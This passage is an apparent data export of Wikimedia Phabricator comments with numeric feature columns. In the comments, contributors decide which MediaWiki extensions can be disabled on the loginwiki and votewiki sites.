 - TextExtracts
 - TwoColConflict
and maybe others.",,,1706524491,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,447,True,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,18.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,4.5,0.6129032258064516,"Listing more extensions not named above that appear in Special:Versions and seem to me to not be needed at loginwiki:
 - 3D
 - CodeEditor
 - CodeMirror
 - ElectronPdfService
 - Global Usage
 - Kartographer
 - MediaModeration
 - RevisionSlider
 - TemplateStyles
 - TextExtracts
 - TwoColConflict
and maybe others."
686906,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),Graph and Disambiguator can go away right now.,,,1467308877,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Graph and Disambiguator can go away right now.
686897,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#2112927, @Legoktm wrote:
>>>! In T61702#1493469, @Krenair wrote:
>> So that leaves me with this list:
>> [..]

I'd keep Interwiki and SiteMatrix. These seem useful entry points to have. Especially because votewiki and loginwiki are themselves listed in SiteMatrix (e.g. when queried on metawiki).",,,1467308349,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,52,True,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,24.0,5.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,22.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.487804878048781,0.7804878048780488,"QUOTE
QUOTE
QUOTE
QUOTE

I'd keep Interwiki and SiteMatrix. These seem useful entry points to have. Especially because votewiki and loginwiki are themselves listed in SiteMatrix (e.g. when queried on metawiki)."
628712,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),We need to keep confirmedit so the login form shows captchas after 3 failed attempts to log in.,,,1457818142,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,36,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,26.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,5.0,26.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.105263157894737,0.9473684210526315,We need to keep confirmedit so the login form shows captchas after 3 failed attempts to log in.
628658,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#2114540, @JEumerus wrote:
> Regarding TitleBlacklist and AbuseFilter, are they needed to block account creations?

Accounts cannot be directly created by IPs at loginwiki and autocreations are not disallowed by TBL on Wikimedia wikis so it doesn't really change anything there.",,,1457796210,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,36,True,0.0,3.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,18.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,15.0,15.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,0.9090909090909091,"QUOTE
QUOTE

Accounts cannot be directly created by IPs at loginwiki and autocreations are not disallowed by TBL on Wikimedia wikis so it doesn't really change anything there."
628619,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"Regarding TitleBlacklist and AbuseFilter, are they needed to block account creations?",,,1457784411,,PHID-USER-cr5rnyhox7s3fl5at22e,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,False,,,36,True,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,15.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.769230769230769,1.0,"Regarding TitleBlacklist and AbuseFilter, are they needed to block account creations?"
628251,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#1493469, @Krenair wrote:
> So that leaves me with this list:
> * GlobalRenameQueue
> * GlobalRenameRequest
> * Interwiki
> * OAIRepository
> * SiteMatrix
> * Disambiguator
> * Graph
> * CharInsert
> * Abuse Filter
> * ConfirmEdit, FancyCaptcha
> * SpamBlacklist
> * TitleBlacklist
> * TorBlock

We can get rid of all of these. The anti-abuse ones aren't needed because users can't actually do anything on loginwiki.",,,1457726593,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,36,True,2.0,2.0,0.0,2.0,4.0,5.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,5.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,30.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,7.0,26.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3508771929824563,0.47368421052631576,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We can get rid of all of these. The anti-abuse ones aren't needed because users can't actually do anything on loginwiki."
533426,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#1493469, @Krenair wrote:
> * OAIRepository

That's being deprecated via T70867, so I wouldn't worry about it here.",,,1443029847,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,25.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,10.0,15.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,0.95,"QUOTE
QUOTE

That's being deprecated via T70867, so I wouldn't worry about it here."
528472,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#1644746, @Aklapper wrote:
> So next step is that someone takes a closer look if those remaining extensions are actually needed?

Lego did wrt centralauth/SUL/etc.

I'd love if @csteipp could do the next round of review/give +1/-1 to removing them.

No major rush, afaict.",,,1442416172,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,15.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,5.0,15.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,5.0,3.5384615384615383,0.8205128205128205,"QUOTE
QUOTE

Lego did wrt centralauth/SUL/etc.

I'd love ifSCREEN_NAME could do the next round of review/give +1/-1 to removing them.

No major rush, afaict."
528396,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#1493469, @Krenair wrote:
> So that leaves me with this list:
> [...]

So next step is that someone takes a closer look if those remaining extensions are actually needed?",,,1442409719,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,10,True,0.0,4.0,0.0,4.0,0.0,8.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,4.25,0.875,"QUOTE
QUOTE
QUOTE

So next step is that someone takes a closer look if those remaining extensions are actually needed?"
499263,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"So that leaves me with this list:
* GlobalRenameQueue
* GlobalRenameRequest
* Interwiki
* OAIRepository
* SiteMatrix
* Disambiguator
* Graph
* CharInsert
* Abuse Filter
* ConfirmEdit, FancyCaptcha
* SpamBlacklist
* TitleBlacklist
* TorBlock",,,1438213231,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,28.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.38,0.52,"So that leaves me with this list:
* GlobalRenameQueue
* GlobalRenameRequest
* Interwiki
* OAIRepository
* SiteMatrix
* Disambiguator
* Graph
* CharInsert
* Abuse Filter
* ConfirmEdit, FancyCaptcha
* SpamBlacklist
* TitleBlacklist
* TorBlock"
499257,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#1464570, @Legoktm wrote:
>> * Abuse Filter
>> * ConfirmEdit, FancyCaptcha
>> * SpamBlacklist
>> * TitleBlacklist
>> * TorBlock?
> 
> Do we allow people to directly create accounts on loginwiki? If so, these are necessary.

No, only administrators can create accounts directly on loginwiki.",,,1438213017,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.962962962962963,0.5185185185185185,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

No, only administrators can create accounts directly on loginwiki."
499251,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"Change 225840 merged by jenkins-bot:
Disable a bunch of extensions on loginwiki/votewiki

[[https://gerrit.wikimedia.org/r/225840]]",,,1438212568,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,False,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.9166666666666665,0.9166666666666666,"Change 225840 merged by jenkins-bot:
Disable a bunch of extensions on loginwiki/votewiki

[[GERRIT_URL]]"
493749,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#1464553, @Krenair wrote:
> * UserMerge

Necessary for global user merge.

> * Abuse Filter
> * ConfirmEdit, FancyCaptcha
> * SpamBlacklist
> * TitleBlacklist
> * TorBlock?

Do we allow people to directly create accounts on loginwiki? If so, these are necessary.

> * AccountAudit

Being undeployed in {T105894}, lets take care of it as part of that.

> * GlobalRenameQueue	
> * GlobalRenameRequest

Can be disabled.

> * MergeAccount

Part of CentralAuth, which is necessary.

> * Renameuser	
> * Renameuser for CentralAuth

Both necessary for GlobalRename to work properly.",,,1437363374,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,1.0,0.0,5.0,3.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,16.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,25.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,12.0,11.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.739130434782609,0.5543478260869565,"QUOTE
QUOTE

Necessary for global user merge.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Do we allow people to directly create accounts on loginwiki? If so, these are necessary.

QUOTE

Being undeployed in {T105894}, lets take care of it as part of that.

QUOTE
QUOTE

Can be disabled.

QUOTE

Part of CentralAuth, which is necessary.

QUOTE
QUOTE

Both necessary for GlobalRename to work properly."
493745,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"Also, probably don't need these
* Interwiki
* OAIRepository
* Random root page
* SiteMatrix
* UserMerge
* Abuse Filter
* ConfirmEdit, FancyCaptcha
* SpamBlacklist
* TitleBlacklist
* AccountAudit
* Disambiguator
* Graph

Not sure about these:
* GlobalRenameQueue	
* GlobalRenameRequest
* MergeAccount
* Renameuser	
* Renameuser for CentralAuth
* CharInsert?
* TorBlock?

It feels like I've just listed like all of Special:Version on loginwiki. Chris, do you think we need any of these?",,,1437362341,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,True,,,2,True,2.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,20.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,4.0,6.0,17.5,3.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.03738644304682,0.6268343815513626,"Also, probably don't need these
* Interwiki
* OAIRepository
* Random root page
* SiteMatrix
* UserMerge
* Abuse Filter
* ConfirmEdit, FancyCaptcha
* SpamBlacklist
* TitleBlacklist
* AccountAudit
* Disambiguator
* Graph

Not sure about these:
* GlobalRenameQueue	
* GlobalRenameRequest
* MergeAccount
* Renameuser	
* Renameuser for CentralAuth
* CharInsert?
* TorBlock?

It feels like I've just listed like all of Special:Version on loginwiki. Chris, do you think we need any of these?"
493738,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"Change 225840 had a related patch set uploaded (by Alex Monk):
Disable a bunch of extensions on loginwiki/votewiki

[[https://gerrit.wikimedia.org/r/225840]]
",,,1437361000,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,3,False,,,2,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,17.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,10.0,3.8333333333333335,0.8666666666666667,"Change 225840 had a related patch set uploaded (by Alex Monk):
Disable a bunch of extensions on loginwiki/votewiki

[[GERRIT_URL]]
"
396758,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"<Glaisher> Krenair: disabling Parsoid at loginwiki won't break anything, right?
<Krenair> Glaisher, I can't think of why it would...",,,1420732558,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,1,True,,,-25,True,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,10.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,7.0,4.310344827586207,0.9310344827586207,"<Glaisher> Krenair: disabling Parsoid at loginwiki won't break anything, right?
<Krenair> Glaisher, I can't think of why it would..."
395775,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),">>! In T61702#957670, @Glaisher wrote:
> needs to be disabled?
>   - TemplateData
>   - CentralNotice
>   - UniversalLanguageSelector
>   - ParserFunctions
>   - Disambiguator
>   - PagedTiffHandler

None of those should be needed",,,1420563456,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,41.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.4090909090909091,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

None of those should be needed"
395774,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"needs to be disabled?
  - TemplateData
  - CentralNotice
  - UniversalLanguageSelector
  - ParserFunctions
  - Disambiguator
  - PagedTiffHandler",,,1420563258,,PHID-USER-lsveyqlsb4acoowxr5yj,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,26.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.913043478260869,0.5652173913043478,"needs to be disabled?
  - TemplateData
  - CentralNotice
  - UniversalLanguageSelector
  - ParserFunctions
  - Disambiguator
  - PagedTiffHandler"
263960,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),"(In reply to comment #1)

Also related:

* https://gerrit.wikimedia.org/r/105623
* https://gerrit.wikimedia.org/r/105624
* https://gerrit.wikimedia.org/r/105627
* https://gerrit.wikimedia.org/r/105628
* https://gerrit.wikimedia.org/r/105630
* https://gerrit.wikimedia.org/r/105632",,,1388973594,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,7.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.566666666666667,0.5,"(In reply to comment #1)

Also related:

* GERRIT_URL
* GERRIT_URL
* GERRIT_URL
* GERRIT_URL
* GERRIT_URL
* GERRIT_URL"
263953,Examine which extensions are installed on login.wikimedia.org (loginwiki) and vote.wikimedia.org (votewiki),Related: https://gerrit.wikimedia.org/r/105622,,,1388966441,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ij3hmsszlnhzkqojakbw,task_subcomment,,True,c3,1,True,,,-78,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,Related: GERRIT_URL
